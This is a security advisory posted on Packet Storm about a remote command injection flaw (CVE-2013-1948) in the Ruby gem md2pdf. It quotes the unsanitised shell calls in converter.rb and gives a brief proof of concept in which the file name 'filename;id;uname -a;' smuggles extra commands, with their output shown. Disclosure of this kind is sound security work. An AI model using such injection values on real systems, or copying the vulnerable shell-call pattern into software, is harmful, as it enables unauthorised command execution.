exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ruby Gem md2pdf Command Injection

Ruby Gem md2pdf Command Injection
Posted Apr 15, 2013
Authored by Larry W. Cashdollar

Ruby Gem md2pdf suffers from a remote command injection vulnerability.

tags | exploit, remote, ruby
advisories | CVE-2013-1948
SHA-256 | 961566ce1e369fe89fe75f7891fe11b15c66c71e0cc7df7e1c118806ee180d04

Ruby Gem md2pdf Command Injection

Change Mirror Download
Remote command injection md2pdf ruby gem
4/10/2013

Description: "creates pdf documents from markdown documents"

https://rubygems.org/gems/md2pdf

In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.

12 shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")

23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} output #{output_filename}")

Where exec is defined as the following:

37 def exec(command_line)
38 require 'open3'
39 stdin, stdout, stderr = Open3.popen3(command_line)
40 return stdout.read
41 end

PoC Notes:

irb(main):001:0> require 'open3'
=> true
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')
=> [#, #, #]
irb(main):003:0> puts stdout.read
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux
=> nil

http://vapid.dhs.org/advisories/md2pdf-remote-exec.html


This vulnerability has been assigned: CVE-2013-1948

Larry W. Cashdollar
@_larry0



CVE-2013-1948
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close